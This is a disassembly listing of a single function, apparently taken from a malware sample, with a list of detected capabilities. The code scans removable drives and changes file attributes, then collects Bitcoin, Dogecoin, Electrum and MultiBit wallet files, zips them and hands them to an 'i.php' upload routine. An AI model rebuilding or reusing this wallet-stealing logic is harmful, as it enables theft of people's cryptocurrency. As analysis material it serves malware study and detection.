Function at 0x404514
Capabilities:
Check if file exists
Check mutex on windows
Create thread
Enumerate files on windows
Get common file path
Get disk information
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1174
call fcn.004087e0
push ebx
push esi
push edi
mov edi, 0x200
lea eax, [ebp - 0x22c]
push edi
xor ebx, ebx
push ebx
push eax
call fcn.00409fd0
push edi
lea eax, [ebp - 0xd70]
push ebx
push eax
call fcn.00409fd0
mov esi, 0x100
lea eax, [ebp - 0x52c]
push esi
push ebx
push eax
call fcn.00409fd0
push edi
lea eax, [ebp - 0x42c]
push ebx
push eax
call fcn.00409fd0
push edi
lea eax, [ebp - 0x1174]
push ebx
push eax
call fcn.00409fd0
push edi
lea eax, [ebp - 0x72c]
push ebx
push eax
call fcn.00409fd0
add esp, 0x48
lea eax, [ebp - 0xb70]
push edi
push ebx
push eax
call fcn.00409fd0
push esi
lea eax, [ebp - 0xe70]
push ebx
push eax
call fcn.00409fd0
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040eee6
pop ecx
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [ebp - 4], 0x5c3a20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
lea eax, [ebp - 0xf74]
push 0x104
push eax
push ebx
mov dword [ebp - 0x24], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xf74]
push eax
call fcn.0040f285
add esp, 0x14
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor edx, edx
movzx ecx, bl
inc edx
cmp eax, 2
cmove ecx, edx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x20], ecx
mov eax, edx
mov ecx, ebx
shl eax, cl
test esi, eax
je 0x4046f5
lea eax, [ebx + 0x41]
mov byte [ebp - 4], al
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x4046f2
mov eax, dword [str._:]
mov dword [ebp - 0xc], eax
mov al, byte [0x41f544]
mov byte [ebp - 8], al
mov al, byte [ebp - 4]
mov byte [ebp - 0xc], al
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
mov dword [ebp - 0x10], esi
cmp esi, 0xffffffff
je 0x404b35
mov ebx, dword [ebp - 0x20]
cmp byte [ebp - 0x840], 0x2e
je 0x4046d3
xor ecx, ecx
mov al, byte [ebp + ecx - 4]
mov byte [ebp + ecx - 0x970], al
inc ecx
test al, al
jne 0x40467c
lea edx, [ebp - 0x840]
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x404694
lea edi, [ebp - 0x970]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4046a4
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
test bl, bl
je 0x4046d0
push 0x80
lea eax, [ebp - 0x970]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 0x86c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x404671
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x24]
xor edx, edx
inc edx
inc ebx
mov dword [ebp - 0x14], ebx
cmp ebx, 0x1a
jl 0x404612
push str.a_200000
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x404b35
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404b35
push dword [ebp + 8]
call fcn.00402d67
pop ecx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x4040ba
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x42c]
push eax
call fcn.00403ea1
mov esi, str._i.php
lea edi, [ebp - 0xb70]
pop ecx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xb70]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404770
mov eax, dword [0x41f55c]
lea edx, [ebp - 0x42c]
mov dword [edi], eax
mov esi, edx
mov al, byte [edx]
inc edx
test al, al
jne 0x404787
lea edi, [ebp - 0xb70]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404797
mov ecx, edx
lea eax, [ebp - 0x52c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x17
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push section..data
call fcn.00403062
lea eax, [ebp - 0xe70]
push eax
lea eax, [ebp - 0xb70]
push eax
lea eax, [ebp - 0x52c]
push eax
call fcn.00402cd3
add esp, 0x18
lea eax, [ebp - 0xd70]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0xd70]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4047f6
mov esi, str.fp.tmp
lea eax, [ebp - 0x72c]
push eax
push ebx
push ebx
movsd dword es:[edi], dword [esi]
push 0x1a
push ebx
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0xd70]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x404bca
push 0x41f297
push 0x989680
push ebx
call fcn.00405699
add esp, 0xc
mov ebx, eax
xor eax, eax
mov cl, byte [ebp + eax - 0x72c]
mov byte [ebp + eax - 0x22c], cl
inc eax
test cl, cl
jne 0x404845
lea edi, [ebp - 0x22c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40485f
push 5
pop ecx
mov esi, str.Bitcoinwallet.dat
rep movsd dword es:[edi], dword [esi]
mov esi, str.wallet
lea edi, [ebp - 0x42c]
lea ecx, [ebp - 0x42c]
dec ecx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x404887
mov eax, dword [str..dat]
mov dword [ecx], eax
mov al, byte [0x41f588]
mov byte [ecx + 4], al
lea eax, [ebp - 0x22c]
push eax
call fcn.004025a0
pop ecx
test eax, eax
je 0x4048c6
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x42c]
push eax
push ebx
call fcn.00405a3b
add esp, 0xc
xor ecx, ecx
mov al, byte [ebp + ecx - 0x72c]
mov byte [ebp + ecx - 0x22c], al
inc ecx
test al, al
jne 0x4048c8
lea edi, [ebp - 0x22c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4048e2
mov eax, dword [str.doge]
mov esi, str.Dogecoinwallet.dat
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x42c], eax
lea ecx, [ebp - 0x42c]
mov al, byte [0x41f5a8]
dec ecx
mov byte [ebp - 0x428], al
movsb byte es:[edi], byte [esi]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x404912
mov eax, dword [str..dat]
mov dword [ecx], eax
mov al, byte [0x41f588]
mov byte [ecx + 4], al
lea eax, [ebp - 0x22c]
push eax
call fcn.004025a0
pop ecx
test eax, eax
je 0x404951
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x42c]
push eax
push ebx
call fcn.00405a3b
add esp, 0xc
xor ecx, ecx
mov al, byte [ebp + ecx - 0x72c]
mov byte [ebp + ecx - 0x22c], al
inc ecx
test al, al
jne 0x404953
lea edi, [ebp - 0x22c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x40496d
push 8
pop ecx
mov esi, str.Electrumwalletsdefault_wallet
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x42c]
dec ecx
movsb byte es:[edi], byte [esi]
mov esi, str.electrum
lea edi, [ebp - 0x42c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x404995
mov eax, dword [str..txt]
mov dword [ecx], eax
mov al, byte [0x41f3f0]
mov byte [ecx + 4], al
lea eax, [ebp - 0x22c]
push eax
call fcn.004025a0
pop ecx
test eax, eax
je 0x4049d4
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x42c]
push eax
push ebx
call fcn.00405a3b
add esp, 0xc
xor ecx, ecx
mov al, byte [ebp + ecx - 0x72c]
mov byte [ebp + ecx - 0x22c], al
inc ecx
test al, al
jne 0x4049d6
lea edi, [ebp - 0x22c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4049f0
push 6
pop ecx
mov esi, str.MultiBitmultibit.wallet
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x42c]
dec ecx
movsw word es:[edi], word [esi]
mov esi, str.multibit
lea edi, [ebp - 0x42c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x404a19
mov eax, dword [str..txt]
mov dword [ecx], eax
mov al, byte [0x41f3f0]
mov byte [ecx + 4], al
lea eax, [ebp - 0x22c]
push eax
call fcn.004025a0
pop ecx
test eax, eax
je 0x404a58
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x42c]
push eax
push ebx
call fcn.00405a3b
add esp, 0xc
xor ecx, ecx
mov al, byte [ebp + ecx - 0x72c]
mov byte [ebp + ecx - 0x22c], al
inc ecx
test al, al
jne 0x404a5a
lea edi, [ebp - 0x22c]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404a74
mov esi, str.Electrumconfig
lea eax, [ebp - 0x22c]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
call fcn.004025a0
pop ecx
test eax, eax
je 0x404b01
lea eax, [ebp - 0x1174]
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.00403c1c
mov esi, str.electrumlast
lea edi, [ebp - 0x42c]
pop ecx
pop ecx
lea ecx, [ebp - 0x42c]
movsd dword es:[edi], dword [esi]
dec ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x404ac2
mov eax, dword [str..txt]
mov dword [ecx], eax
mov al, byte [0x41f3f0]
mov byte [ecx + 4], al
lea eax, [ebp - 0x1174]
push eax
call fcn.004025a0
pop ecx
test eax, eax
je 0x404b01
lea eax, [ebp - 0x1174]
push eax
lea eax, [ebp - 0x42c]
push eax
push ebx
call fcn.00405a3b
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0xd70]
push esi
push 0x41f297
push eax
call fcn.004038ec
lea eax, [ebp - 0x42c]
push eax
call fcn.00403ea1
lea ecx, [ebp - 0x42c]
add esp, 0x10
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
je 0x404b3e
jmp 0x404b2b
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
mov eax, dword [str..zip]
mov dword [ecx], eax
mov al, byte [0x41f62c]
push ebx
mov byte [ecx + 4], al
call fcn.004025c4
push ebx
call fcn.00402a19
push ebx
call fcn.00403d1f
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
push esi
push esi
push 5
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x404b89
push ebx
lea eax, [ebp - 0x22c]
push esi
push eax
call fcn.004027ca
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
call fcn.00405a8d
add esp, 0xc
cmp dword [ebp - 0x18], 0x64
jbe 0x404bc1
push str.i.php
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x52c]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x28]
call fcn.00403179
add esp, 0x14
push ebx
call fcn.0040550d
pop ecx
xor ebx, ebx
lea eax, [ebp - 0x2c]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x404283
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00403952
int3